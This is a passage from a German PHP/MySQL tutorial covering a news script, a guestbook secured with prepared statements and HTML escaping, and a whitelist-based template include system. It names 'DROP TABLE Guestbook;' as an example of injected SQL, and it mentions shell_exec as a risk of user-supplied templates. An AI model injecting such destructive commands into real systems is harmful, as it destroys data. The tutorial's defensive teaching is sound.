// die MySQL-Daten entsprechend anpassen $db = @new MySQLi('localhost', 'username', 'pass', 'dbname'); if (mysqli_connect_errno()) { die('Konnte keine Verbindung zu Datenbank aufbauen, MySQL meldete: '.mysqli_connect_error()); // ist zwar keine saubere Fehlermeldung aber ist ja auch nur ne einfache Inplementierung }
include 'header.html'; // DOCTYPE, <html>, <head>, und was dazugehört // inclusive den <body>-Tag $sql = 'SELECT Titel, Datum, Inhalt FROM News ORDER BY Datum DESC'; // "ORDER BY" damit die Datensätze nach der Datumsspalte sortiert werden, absteigend
$result = $db->query($sql); if (!$result) { die ('Konnte den Folgenden Query nicht senden: '.$sql."<br />\nFehlermeldung: ".$db->error); } if (!$result->num_rows) { echo '<p class="info">Es sind keine Newsbeiträge vorhanden</p>'; } else { while ($row = $result->fetch_assoc()) { echo '<h1>'.$row['Titel']."</h1>\n"; echo '<h2>'.$row['Datum']."</h2>\n"; echo '<p>'.$row['Inhalt']."</p>\n"; } } include 'footer.html'; // </body>, </html> und vielleicht noch irgendwelche copyright notes ?>
Somit ist unser einfaches Newsskript fertig.
4. Nachteile vom Newsskript
Im Moment können wir nur neue Newsbeiträge hinzufügen indem wir in der Datenbank
selbst arbeiten. Dies können wir entsprechend wie gewohnt über phpMyAdmin machen.
Dabei wählen wir einfach Insert und geben die Daten für den neuen
Datensatz ein. Die ID-Spalte lassen wir leer und für
die Datum-Spalte wählen wir die Funktion NOW() aus der
Dropdown-Liste. Somit müssen wir also immer in phpMyAdmin um die Newsbeiträge zu
bearbeiten, ganz zu schweigen von fehlenden Kommentarfunktionen für Besucher.
Aber wie gesagt, es ist nur eine einfache Implementierung eines Newsskripts.
Ein Gästebuch ist vergleichbar mit einem Newsskript nur dass die Beiträge
von den Benutzern kommen, nicht vom Administrator der Seite. Jedoch liegen
auch hier die Probleme denn die Benutzer können jeden Text eingeben den sie
wollen. Dies kann dazu führen das in den Gästebucheinträgen Texte stehen die
man lieber nicht haben möchte. Daher müssen alle Eingaben die vom Benutzer
kommen geprüft werden. Des Weiteren muss man sich auch gegen Spam schützen.
2. Aufbaue der Tabelle in MySQL
Die Tabelle in MySQL wird einen vergleichbaren Aufbau wie die News-Tabelle haben.
Neben den eigentlichen Text wird der Name und das Datum gespeichert.
Daher wird die Tabelle 4 Spalten besitzen.
ID - Die normale Identifikationsspalte vom Typ INT.
Datum - Der Zeitpunkt wann der Eintrag hinzugefügt wurde. Typ
ist entsprechend DATETIME.
Autor - Der Name desjenigen der den Eintrag geschrieben hat.
Ein VARCHAR(50) wird wohl reichen.
Inhalt - Der eigentliche Text des Eintrags. Dieser wird
entsprechend in einem TEXT-Feld gespeichert.
Der entsprechende SQL-Query sieht wie folgt aus.
CREATE TABLE Guestbook (
ID INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
Autor VARCHAR(50) NOT NULL,
Datum DATETIME NOT NULL,
Inhalt TEXT NOT NULL
);
Analog kann man auch über phpMyAdmin die Tabelle hinzufügen.
3. Aufbau des PHP-Skriptes
Das PHP-Skript vom Gästebuch muss zwei Aufgaben durchführen. Einmal muss es aus der
Datenbank die Datensätze auslesen. Des Weiteren muss es Daten aus einem Formular
verarbeiten und entsprechend neue Datensätze in die Datenbank eintragen. Dies
unterscheiden wir anhand der $_SERVER['REQUEST_METHOD']-Variable.
Bei einem POST-Request versuchen wir die Daten aus dem
Formular in die Datenbank hinzuzufügen, bei allen anderen Requesttypen (insbesondere
GET-Requests) zeigen wir das Gästebuch und ein Formular für neue
Gästebucheinträge an.
if ('POST' == $_SERVER['REQUEST_METHOD']) { // Code zum hinzufügen in der DB } else { // Anzeigen von Gästebuchbeiträgen und dem Formular. } ?>
Da wir natürlich mit MySQL arbeiten wollen bauen wir eine Verbindung zur Datenbank auf.
Außerdem laden wir noch HTML-Header- und HTML-Footer-Code via include
oder besser via readfile.
$db = @new mysqli('localhost', 'username', 'password', 'database'); if (mysqli_connect_errno()) { die('Konnte keine Verbindung zur Datenbank aufbauen: '.mysqli_connect_error().'('.mysqli_connect_errno().')'); }
readfile('header.html'); // enthält auch das <body>-tag
if ('POST' == $_SERVER['REQUEST_METHOD']) { // Code zum hinzufügen in der DB } else { // Anzeigen von Gästebuchbeiträgen und dem Formular. }
readfile('footer.html'); ?>
Nun können wir mit den Teilbereichen anfangen.
4. Code zum Anzeigen der Beiträge
Der PHP-Code zum Anzeigen der Beiträge ist vergleichbar mit dem Code aus dem Newsskript. Daher gibt es nicht
viel zu erklären.
<?php // [...]
} else { $sql = 'SELECT Datum, Autor, Inhalt FROM Guestbook ORDER BY Datum DESC'; $result = $db->query($sql); if (!$result) { die('Der Query konnte nicht ausgeführt werden: '.$db->error); } if ($result->num_rows) { while ($row = $result->fetch_assoc()) { echo '<div class="beitrag">'."\n"; echo ' <span class="autor">'.htmlspecialchars($row['Autor'])."</span>\n"; echo ' <span class="datum">'.$row['Datum']."</span>\n"; echo " <p>\n"; echo nl2br(htmlspecialchars(preg_replace('~\S{30}~', '\0 ', $row['Inhalt']))); echo " </p>\n"; echo "</div>\n"; } } else { echo '<p class="info">Es sind keine Gästebucheinträge vorhanden</p>'; } readfile('formular.html'); }
// [...] ?>
Die Funktion htmlspecialchars dient dazu besondere HTML-Zeichen wie
< zu escapen damit sie als Text angezeigt werden und nicht
irgendwie unseren HTML-Code durcheinander bringen. Dies ist nötig da die Daten
von Benutzer kommen und die sehr kreativ sind wenn es darum geht ein Gästebuch mit
Müll zu füllen. Die Funktion nl2br fügt hinter jedem Zeilenumbruch im
Beitrag ein HTML-Zeilenumbruch <br /> ein. Dies ist nötig da
der Text in der Datenbank nur normale Zeilenumbrüche mittels \n
enthält. Der preg_replace-Ausdruck ist nicht einfach zu erklären
da er ein regulären Ausdruck enthält. Reguläre
Ausdrücke wird jedoch erst in einem späteren Kapitel durchgenommen.
Um es kurz zu machen: dieser preg_replace Ausdruck fügt in Wörter
die länger als 30 Zeichen sind hinter jedem 30. Zeichen ein Leerzeichen ein. Damit verhindern
wir dass Spaßvögel sowas wie AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... eingeben
und die Internetseite unnötig breit machen.
Die formular.html-Datei enthält den Code für ein Formular damit die
Besucher etwas ins Gästebuch schreiben können.
Wie man sieht gehen wir davon aus dass das Gästebuch unter der Datei
guestbook.php erreichbar ist. Der Bereich
{FRAGE} dient dazu Spam im Gästebuch zu verhindern,
dazu später mehr.
Es ist klar dass das Gästebuch noch leer ist und wir beim testen nur die
Anzeige Es sind keine Gästebucheinträge vorhanden bekommen.
Daher nun der Code zum hinzufügen von Beiträgen.
5. Code zum hinzufügen von neuen Beiträgen
Aus dem Formular kriegen wir die Felder Autor, Inhalt,
Antwort und formaction. Daher prüfen wir zuerst ob wir
diese Daten auch wirklich bekommen, denn es könnte sein dass ein Benutzer ein
eigenes Formular verwendet.
<?php // [...]
if ('POST' == $_SERVER['REQUEST_METHOD']) { if (!isset($_POST['Autor'], $_POST['Inhalt'], $_POST['Antwort'], $_POST['formaction'])) { die ('Benutzen sie nur Formulare von der Homepage.'); } } else {
// [...] ?>
Nun machen wir einfache Textabfragen indem wir gucken ob der Benutzer überhaupt
was eingegeben hat. Dazu verwenden wir einmal die Funktion trim um
Leerzeichen vor und nach der Eingabe zu löschen und vergleichen den Rückgabewert
mit '' und wissen dann ob was eingegeben wurde oder nicht.
<?php // [...]
if ('POST' == $_SERVER['REQUEST_METHOD']) { if (!isset($_POST['Autor'], $_POST['Inhalt'], $_POST['Antwort'], $_POST['formaction'])) { die ('Benutzen sie nur Formulare von der Homepage.'); } if (('' == $autor = trim($_POST['Autor'])) or ('' == $inhalt = trim($_POST['Inhalt'])) or ('' == $antwort = trim($_POST['Antwort']))) { die ('Bitte füllen sie das Formular vollständig aus.'); } } else {
// [...] ?>
Nun prüfen wir das Antwort-Feld. Dabei erwarten wir eine bestimmte Antwort von dem
Benutzer. Der {FRAGE}-Teil in dem Formular muss entsprechend geändert
werden. Dies ist vergleichbar mit einem
CAPTCHA jedoch viel
simpler. Anhand dieser Eingabe schließen wir Spam-Bots aus die Gästebücher mit
Müll zuspammen. Hier reicht es wenn man nach einen einzelnen Wort fragt, dass
der Benutzer eintragen soll.
<?php // [...]
if ('POST' == $_SERVER['REQUEST_METHOD']) { if (!isset($_POST['Autor'], $_POST['Inhalt'], $_POST['Antwort'], $_POST['formaction'])) { die ('Benutzen sie nur Formulare von der Homepage.'); } if (('' == $autor = trim($_POST['Autor'])) or ('' == $inhalt = trim($_POST['Inhalt'])) or ('' == $antwort = trim($_POST['Antwort']))) { die ('Bitte füllen sie das Formular vollständig aus.'); } if ('' != $antwort) { // entsprechend Anpassen, sowie den {FRAGE}-Teil im Formular die ('Sie müssen die Frage richtig beantworten.'); } } else {
// [...] ?>
Beachtet dass man den Besuchern nicht zu viel abverlangt, insbesondere
Groß- und Kleinschreibungen. Für den Fall dass man dann doch Spam im
Gästebuch hat hat man ganz andere Probleme als Spam im Gästebuch, denn dann
hat jemand speziell ein Skript geschrieben um genau dieses Gästebuch
zuzuspammen und dann ist es etwas persönliches gegen euch und hat
nichts mehr mit dem Hintergrundrauschen von Spam im Internet zu tun.
Nun können wir die Daten in die Datenbank speichern. Am einfachsten wäre es
den INSERT-Befehl mit Stringverkettung aus Strings
und den Variablen zusammenzubauen. Dies wird problematisch da die Variablen
beliebigen Inhalt haben können, insbesondere '-Zeichen die den
SQL-Query kaputt machen. Dies nennt man auch
SQL-Injection,
da die Besucher auch versuchen SQL-Befehle wie DROP TABLE Guestbook;
einzuschleusen. Daher muss man die Daten irgendwie verändern/schützen.
In der mysql-Extension wurde dies mit der
mysql_real_escape_string-Funktion gemacht.
In MySQLi verwenden wir dafür Prepared Statements.
Dies sind SQL-Queries die Platzhalter enthalten (einfache ?-Zeichen).
Durch entsprechende Funktionen werden diese Platzhalter dann mit Werten gefüllt.
Diese Funktionen sorgen dann dafür dass die Inhalte entsprechend verarbeitet werden
damit sie keinen Unsinn anstellen und den SQL-Query nicht zerstören.
Um so ein prepared statement zu erstellen wird die Methode
prepare() verwendet (mysqli_prepare). Dabei geben
?-Zeichen die Platzhalter an, die wir dann später mit Daten füllen.
<?php // [...]
if ('POST' == $_SERVER['REQUEST_METHOD']) { if (!isset($_POST['Autor'], $_POST['Inhalt'], $_POST['Antwort'], $_POST['formaction'])) { die ('Benutzen sie nur Formulare von der Homepage.'); } if (('' == $autor = trim($_POST['Autor'])) or ('' == $inhalt = trim($_POST['Inhalt'])) or ('' == $antwort = trim($_POST['Antwort']))) { die ('Bitte füllen sie das Formular vollständig aus.'); } if ('' != $antwort) { // entsprechend Anpassen, sowie den {FRAGE}-Teil im Formular die ('Sie müssen die Frage richtig beantworten.'); } $sql = 'INSERT INTO Guestbook(Autor, Datum, Inhalt) VALUES (?, NOW(), ?)'; $stmt = $db->prepare($sql); if (!$stmt) { die ('Es konnte kein SQL-Query vorbereitet werden: '.$db->error); } } else {
// [...] ?>
Da auch ein prepare() fehlschlagen kann müssen wir ihn
auf Fehler überprüfen. Die Methode liefert wenn alles gut ist ein
MySQLi_STMT-Objekt zurück, mit denen wir dann arbeiten.
Für unsere Zwecke sind dies die bind_param()- und
execute()-Methoden.
<?php // [...]
if ('POST' == $_SERVER['REQUEST_METHOD']) { if (!isset($_POST['Autor'], $_POST['Inhalt'], $_POST['Antwort'], $_POST['formaction'])) { die ('Benutzen sie nur Formulare von der Homepage.'); } if (('' == $autor = trim($_POST['Autor'])) or ('' == $inhalt = trim($_POST['Inhalt'])) or ('' == $antwort = trim($_POST['Antwort']))) { die ('Bitte füllen sie das Formular vollständig aus.'); } if ('' != $antwort) { // entsprechend Anpassen, sowie den {FRAGE}-Teil im Formular die ('Sie müssen die Frage richtig beantworten.'); } $sql = 'INSERT INTO Guestbook(Autor, Datum, Inhalt) VALUES (?, NOW(), ?)'; $stmt = $db->prepare($sql); if (!$stmt) { die ('Es konnte kein SQL-Query vorbereitet werden: '.$db->error); } $stmt->bind_param('ss', $autor, $inhalt); if (!$stmt->execute()) { die ('Query konnte nicht ausgeführt werden: '.$stmt->error); } echo '<p class="info">Gästebucheintrag hinzugefügt. <a href="guestbook.php">Zurück zum Gästebuch</a>.</p>'; } else {
// [...] ?>
Die zwei s-Zeichen geben an das 2 Strings Variablen folgen (für die Spalten
Autor und Inhalt). Für die Methode bind_param()
existieren noch die Zeichen i für Integerzahlen, d für
Floatzahlen (double) und b für Binärdaten. Wir werden Hauptsächlich
nur i und s verwenden. Danach wird mit der execute()-Methode
der Query ausgeführt und dann geben wir nur noch ein Infotext aus. Da
auch die execute()-Methode fehlschlagen kann wird hier der Rückgabewert
geprüft. Ist dieser false wird entsprechend eine Fehlermeldung ausgegeben.
Beim Testen kann es passieren dass wir einen Webserver mit magic quotes
haben. Da wir selber uns um das richtige escapen kümmern laden wir in unserem PHP-Skript
den Code der die Backslashes von magic quotes löscht. Dies machen
wir so weit oben wie möglich.
include 'magic_quotes_remove_slashes.php'; // oder wie man seine Datei genannt hat // oder den Quellcode direkt einfügen.
// [...] ?>
Somit ist unser Skript nun fertig.
6. Nachteile vom Gästebuch-Skript
Auch wenn es viele Angriff abwehrt ist es nicht total sicher. Insbesondere kann ein
Benutzer mehrere Gästebucheinträge auf einmal hinzufügen. Dies kann man versuchen zu unterbinden
wenn die IP-Adresse mitgespeichert wird und vorm Eintragen geprüft wird ob ein Datensatz
bereits existiert oder nicht. Außerdem fehlt eine Blätterfunktion und alle Einträge werden
auf einer Seite dargestellt.
Bei einem Browsergame handelt es sich um ein Spiel welches
meist mit PHP geschrieben ist und im Browser gespielt wird. Inhaltlich geht es
dabei meist um Weltraumsimulationen oder Aufbauspiele. Es gibt Hunderte solcher
Spiele, einige haben sogar Artikel in der wikipedia. Und weil es so viele Spiele
gibt werden wir hier kein neues Browsergame entwickeln.
Bei einem Templatesystem versucht man den Bereich im PHP-Skript der für die
Ausgabe zuständig ist von dem Teil des Skripts zu trennen der für den Rest
zuständig ist. Dies entspricht in etwa dem einem
Model View
Controller. Die Bereiche für die Ausgabe werden dabei in extra Dateien
ausgelagert. Solche Dateien werden dann Templates genannt. Mit so
einer Trennung ist es viel einfacher die Ausgabe eines Skriptes zu verändern.
Es wird nur die entsprechende Template-Datei bearbeitet, der Skript-Teil der
für das Holen der Daten für das Template zuständig ist bleibt dabei unberührt.
So kann z.B. ein Webdesigner die Template-Dateien nach seinen HTML- und CSS-Wissen
bearbeiten ohne zu Wissen wie die Daten aus einer MySQL-Datenbank ausgelesen werden.
2. Templatesysteme in PHP
Im Internet gibt es genügend Templatesystem für PHP. Alle haben ihre Vor- Und Nachteile,
bieten Features an die andere nicht haben, haben Sicherheitsaspekte die andere nicht
implementiert haben und verwenden eine Syntax die die anderen nicht benutzen. In den
meisten Fällen wird jedoch vergessen das PHP selbst bereits eine Templateengine
ist. PHP wurde so entwickelt dass es zwischen HTML-Code verwendet werden kann, daher
auch die PHP Start- und Endtags <?php und ?>. Deswegen
verwenden wir hier PHP als Templatesystem indem wir unseren Programmcode entsprechend
strukturieren und include-Anweisungen verwenden.
3. Eigenes Templatesystem schreiben
Mit include-Anweisungen können wir andere PHP-Dateien in das aktuelle
Skript laden und ausführen. Diese Technik verwenden wir für unsere Templates. Die
Template-Dateien laden wir dann mit so einer include-Anweisung. Daher
können wir in den Template-Dateien PHP-Code verwenden um diverse Variablen ausgeben.
Dies heißt aber auch dass wir keine User-Templates laden können bzw. sollten.
Wenn wir nun ein System schreiben für ein großes Projekt und für die User
eigene Templates anbieten so können sie zwar ganz normal die Variablen ausgeben, aber
eben auch beliebigen PHP-Code wie z.B. shell_exec oder
mail ausführen. Daher sollten nur die Webautoren Zugriff auf die Templates haben.
Unser Templatesystem wird von der Startdatei index.php verarbeitet. Wie bei
allen Projekten wird das Error-Reporting hochgeschraubt und diverse Funktionen, Klassen und
Variablen geladen.
include 'functions.php'; include 'classes.php'; include 'variables.php'; ?>
Nun benutzen wir die GET-Variable section für ein Array-Include.
Dabei speichern wir in dem Array $dateien alle mögliche Dateinamen die
durch ein include geladen werden können. Der Index eines Arrayelements gibt an
bei welchem Wert von $_GET['section'] die Datei geladen wird.
<?php // zum Beispiel in der variables.php angelegt $dateien = array(); $dateien['news'] = 'news.php'; $dateien['forum'] = 'forum.php'; $dateien['downloads'] = 'dl.php'; // ... ?>
Mit isset und file_exists wird nun überprüft ob die
entsprechenden Variablen, Arrayelemente und include-Dateien existieren, die dann
auch mit include geladen wird.
<?php $ret = 1; // speichert den rückgabewert von include, standardwert 1 if (isset($_GET['section'], $dateien[$_GET['section']])) { if (file_exists('includes/'.$dateien[$_GET['section']])) { $ret = include 'includes/'.$dateien[$_GET['section']]; } else { $ret = "Include-Datei konnte nicht geladen werden: 'includes/".$dateien[$_GET['section']]."'"; } } else { // default bereich laden, news $ret = include 'includes/'.$dateien['news']; } ?>
Einmal sehen wir das hier eine Variable $ret verwendet wird. Sie enthält den
Rückgabewert der include-Anweisung. Des Weiteren enthält es einige
Abfragen ob bestimmte Arrayindizes oder Dateien existieren. Wenn dies nicht der Fall ist
so wird der Standardbereich geladen, in diesem Fall ein Newsskript.
Für unsere Include-Dateien definieren wir nun wie der Rückgabewert aussehen muss. Im
Normalfall soll die Include-Datei ein assoziatives Array zurückliefern. Das Element mit dem
Index filename gibt dabei den Dateinamen vom Template an, was dieses
Skript laden möchte. Das Element mit dem Index data ist ein Array und enthält
die Daten die im Template verwendet werden können. Dort können dann z.B. die Newsbeiträge
gespeichert werden (nur die Daten, keine HTML-Codes). Im Falle eines Fehlers kann
die Include-Datei einen String zurückliefern. Dies wird dann als Fehlermeldung
interpretiert und soll vom Templatesystem entsprechend ausgegeben werden. Und zum
Schluss gibt es noch ein Fall dass die Include-Datei den Wert 1 zurückliefert.
Bei so einem Wert wurde einfach vergessen ein Array oder ein String zurückzuliefern da
im Skript keine return-Anweisung verwendet wurde. All diese Informationen
schreiben wir am Besten mit einem Kommentar in das Skript.
<?php $ret = 1; // speichert den rückgabewert von include, standardwert 1 /* * Die Include-Datei muss eine return Anweisung enthalten mit folgenden * Werten: * - Bei normaler Ausführung * Array('filename' => string, -- Dateiname vom Template * 'data' => Array()) -- Array mit Daten für das Template * - Bei einem Fehler * string -- Die Fehlermeldung die angezeigt werden soll. */ if (isset($_GET['section'], $dateien[$_GET['section']])) { // ... ?>
Somit weiß man auch was eigentlich programmiert wurde und andere Entwickler
können das System verstehen.
Nehmen wir an wir hätten nun solche Include-Dateien und müssen nun das richtige Template
ausgeben. Dafür verwenden wir diverse If-Abfragen um den Inhalt der $ret
Variable zu prüfen und die entsprechende Datei zu laden.
<?php if (is_array($ret) and isset($ret['filename'], $ret['data']